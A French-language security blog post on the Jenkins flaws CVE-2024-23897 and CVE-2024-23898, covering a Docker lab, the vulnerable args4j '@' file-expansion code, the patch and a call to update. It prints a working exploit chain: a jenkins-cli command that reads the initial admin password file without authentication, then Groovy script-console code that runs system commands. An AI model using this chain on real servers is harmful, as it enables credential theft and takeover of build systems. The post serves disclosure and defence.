Contenu

Compromettre Jenkins via une simple lecture de fichiers : CVE-2024-23897

💣 D’une petite erreur verbeuse à une compromission complète

A l’origine

Le 25 janvier 2024, des chercheurs de chez Sonar publient 2 vulnérabilités concernant le leader des logiciels d’intégration et de déploiement continus open-source (CI/CD) : Jenkins.

Jenkins joue un rôle central dans l’automatisation des processus de développement logiciel pour une grande partie de l’industrie, avec une part de marché d’environ 44% en 2023. L’impact potentiel de ces vulnérabilités est donc considérable.

La faille la plus préoccupante, identifiée sous le nom de CVE-2024-23897, permet à des attaquants non authentifiés de lire des données limitées de fichiers arbitraires et à des attaquants autorisés “en lecture seule” d’accéder à l’intégralité d’un fichier sur le serveur Jenkins.

Deux vulnérabilités sont expliquées :

  • La vulnérabilité CVE-2024-23897 :
    • Un score CVSS de 9.8/10 (assez préoccupant) 😮
    • Un attaquant anonyme est en mesure de lire une partie limitée de fichiers locaux.
  • La vulnérabilité CVE-2024-23898 :
    • Un score CVSS de 8.8/10
    • Permet à un attaquant d’exécuter des commandes CLI arbitraires en incitant une victime à cliquer sur un lien malveillant (CSRF).

En bref

La vulnérabilité la plus problématique est la première : CVE-2024-23897

  • Les attaquants non authentifiés peuvent lire les premières lignes de fichiers locaux présents sur le serveur.
  • Les attaquants authentifiés en lecture seule peuvent accéder à l’intégralité des fichiers.
  • Il est possible de transformer cette vulnérabilité en RCE de plusieurs manières :
    • En lisant contenant le mot de passe par défaut
    • En elevant ses privilèges en tant qu’admin
    • En lisant une clef SSH
    • En récupérant des secrets sur la machine
    • Etc…

Jenkins donne d’autres moyens pour obtenir une execution de commande directement sur son blog : https://www.jenkins.io/security/advisory/2024-01-24/

Exploitation

Pour exploiter la première vulnérabilité, le PoC est assez facile.

Docker vulnérable

Il est possible de tester avec des versions vulnérables via Docker.

1
2
docker pull jenkins/jenkins:2.440-jdk17
docker run  -p 8080:8080 jenkins/jenkins:2.440-jdk17

Environnement

Il faut commencer par récupérer l’utilitaire de Jenkins jenkins-cli.jar en ligne de commande.

1
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-2.png

Code vulnérable

Le code ci-dessous détaille le code vulnérable.

La fonction vérifie si l’argument commence par le caractère @, et si c’est le cas, lit le fichier dans le chemin après le @ et créée un nouvel argument pour chaque ligne.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private String[] expandAtFiles(String args[]) throws CmdLineException {
    List<String> result = new ArrayList<String>();
    for (String arg : args) {
        if (arg.startsWith("@")) {
            File file = new File(arg.substring(1));
            if (!file.exists())
                throw new CmdLineException(this,Messages.NO_SUCH_FILE,file.getPath());
            try {
                result.addAll(readAllLines(file));
            } catch (IOException ex) {
                throw new CmdLineException(this, "Failed to parse "+file,ex);
            }
        } else {
            result.add(arg);
        }
    }
    return result.toArray(new String[result.size()]);
}

Cela signifie que si un attaquant peut contrôler un argument, il peut l’étendre à un certain nombre d’arguments à partir d’un fichier arbitraire sur l’instance Jenkins.

De ce fait, l’exploitation de la fonction expandAtFiles() de arg4j affichant une erreur verbeuse lors de la tentative de lecture du fichier est possible.

Lecture arbitraire…

La commande ci-dessous permet à un utilisateur non authentifié de récupérer la première ligne du fichier /var/jenkins_home/secrets/initialAdminPassword

1
java -jar jenkins-cli.jar -noCertificateCheck -s http://127.0.0.1:8080 who-am-i "@/var/jenkins_home/secrets/initialAdminPassword"

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-3.png

…vers RCE

Il est donc possible de récupérer le mot de passe par défaut de l’administrateur si ce dernier n’a pas été changé.

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-4.png

Il est ensuite possible de se connecter sur /script pour exécuter nos commandes.

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-1.png

Le code ci-dessous permet d’exécuter la commande /bin/id.

1
2
3
4
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Pour terminer, une démonstration est disponible juste en dessous !

Actions recommandées

L’équipe de sécurité de Jenkins a corrigé la CVE-2024-23897 en ajoutant une configuration sécurisée désactivant la fonctionnalité expandAtFiles.

La ligne suivante est retirée :

1
    return new CmdLineParser(this);

Et remplacé par les lignes suivantes :

1
2
3
4
public static boolean ALLOW_AT_SYNTAX = SystemProperties.getBoolean(CLICommand.class.getName() + ".allowAtSyntax");
    // [...]
    ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
    return new CmdLineParser(this, properties);

La deuxième vulnérabilité CVE-2024-23898, conséquente direct de la première, a été corrigé en ajoutant une vérification de l’origine sur le mécanisme de WebSocket.

Patchez rapidement

Démonstration

Démonstration avec les éléments détaillés ci-dessus.

Sources